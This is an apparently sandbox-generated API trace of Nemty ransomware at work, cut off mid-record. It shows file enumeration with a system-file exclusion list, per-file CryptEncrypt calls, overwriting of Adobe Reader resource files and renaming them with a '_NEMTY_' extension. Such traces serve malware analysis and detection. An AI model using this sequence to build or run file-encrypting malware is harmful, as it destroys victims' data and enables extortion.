[0217.624] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="frn93.ths", cAlternateFileName="")) returned 1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2=".") returned 1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2="..") returned 1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2="...") returned 1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2="windows") returned -1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2="$RECYCLE.BIN") returned 1 [0217.624] lstrcmpiW (lpString1="frn93.ths", lpString2="rsa") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="NTDETECT.COM") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="ntldr") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="MSDOS.SYS") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="IO.SYS") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="boot.ini") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="boot.ini") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="AUTOEXEC.BAT") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="ntuser.dat") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="desktop.ini") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="CONFIG.SYS") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="RECYCLER") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="BOOTSECT.BAK") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="bootmgr") returned 1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="programdata") returned -1 [0217.625] lstrcmpiW (lpString1="frn93.ths", lpString2="appdata") returned 1 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn93.ths", lpUsedDefaultChar=0x0) returned 9 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn93.ths", lpUsedDefaultChar=0x0) returned 9 [0217.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn93.ths", lpUsedDefaultChar=0x0) returned 9 [0217.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn93.ths", lpUsedDefaultChar=0x0) returned 9 [0217.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.625] Sleep (dwMilliseconds=0x5) [0217.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x355b71f0, dwHighDateTime=0x1d561e8)) [0217.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x355b71f0, dwHighDateTime=0x1d561e8)) [0217.634] GetLastError () returned 0x0 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.634] GetLastError () returned 0x0 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.634] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.634] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.634] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.634] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="BkHoBAQ1F7CRmJdJq292o5/HLUS/+wpxYg0FDXUITA8yAOc8qWSbUZcKjuOJCjbK\r\nN+rHnCpoCthOe1ggeVTP8bk1kDfT3YEHIhpdUTg5l9tqOo+cdF0WBhTaKqiIvd0r\r\nkeNqdF7SfiZ2mQI+HNGK6X/lqvbA4WimpvShSM69Nvj1IQHBAY9KXQP0ygcYJyR8\r\n3LPkuweTNwZWMDeFUKhd/ojsmED2LFzqvP5k9GXP/eBjvf3lnfimBC+Psoy6Cnwx\r\nz1Ann2IbzEira8XleTlzDH9nzvD52+jQbYPsXkrPw9o+EE7V7erHAypN5mJ8jLee\r\nu8Hrirab151UbNCx3PM9Ww==\r\n", pcchString=0x653df5c) returned 1 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn93.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn93.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.635] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=313344) returned 1 [0217.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.635] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.635] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.644] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.644] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.644] SetFilePointer (in: hFile=0x320, lDistanceToMove=313344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c800 [0217.644] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.646] CloseHandle (hObject=0x320) returned 1 [0217.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.646] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn93.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn93.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn93.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn93.ths._nemty_kgobjgd_")) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.647] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="gre.fca", cAlternateFileName="")) returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2=".") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="..") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="...") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="windows") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="rsa") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="NTDETECT.COM") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="ntldr") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="MSDOS.SYS") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="IO.SYS") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="boot.ini") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="boot.ini") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="ntuser.dat") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="desktop.ini") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="CONFIG.SYS") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="RECYCLER") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="bootmgr") returned 1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="programdata") returned -1 [0217.647] lstrcmpiW (lpString1="gre.fca", lpString2="appdata") returned 1 [0217.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.fca", lpUsedDefaultChar=0x0) returned 7 [0217.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.fca", lpUsedDefaultChar=0x0) returned 7 [0217.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.fca", lpUsedDefaultChar=0x0) returned 7 [0217.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.fca", lpUsedDefaultChar=0x0) returned 7 [0217.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.648] Sleep (dwMilliseconds=0x5) [0217.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x355dd350, dwHighDateTime=0x1d561e8)) [0217.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x355dd350, dwHighDateTime=0x1d561e8)) [0217.649] GetLastError () returned 0x0 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.649] GetLastError () returned 0x0 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.649] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.649] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.649] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="f0lTMhhGOyBGkXNZRghjYyUD6IRdZaNKq51RVQ7ltxb2uV1/Jmi2tiEFzTj8uJuM\r\ngTXfbrsMZoHj/DxVPpep+mOdCubW5OAmoTQJMlFp49/9rv//IZwruhp/Dk/NnvsI\r\nqSzBh+ApuHfgdGd8MoPH2AS7BRjnccgvyB6eb5wz8evriUmP3JpeGpc3yMEGD4/0\r\n8anoIh6pAMR0TkGKoovwzyyhvZJIn7qKma+vMeAhUXVwnCrr4peiiC/4t4aVPuub\r\n7RyTYQGqOREnMKMoXvl/Sx+XAQgAr7dLywnX68CwBsk6/3F1Eg5y/PCXcW53my6N\r\n8r4fYvo5MFBwn42miji9Pg==\r\n", pcchString=0x653df5c) returned 1 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.650] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=672) returned 1 [0217.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a0) returned 0x63440b0 [0217.650] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.650] ReadFile (in: hFile=0x320, lpBuffer=0x63440b0, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesRead=0x653e1a4*=0x2a0, lpOverlapped=0x0) returned 1 [0217.651] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.651] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x2a0, lpOverlapped=0x0) returned 1 [0217.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.651] SetFilePointer (in: hFile=0x320, lDistanceToMove=672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a0 [0217.651] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.651] CloseHandle (hObject=0x320) returned 1 [0217.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.652] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.fca._nemty_kgobjgd_")) returned 1 [0217.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, 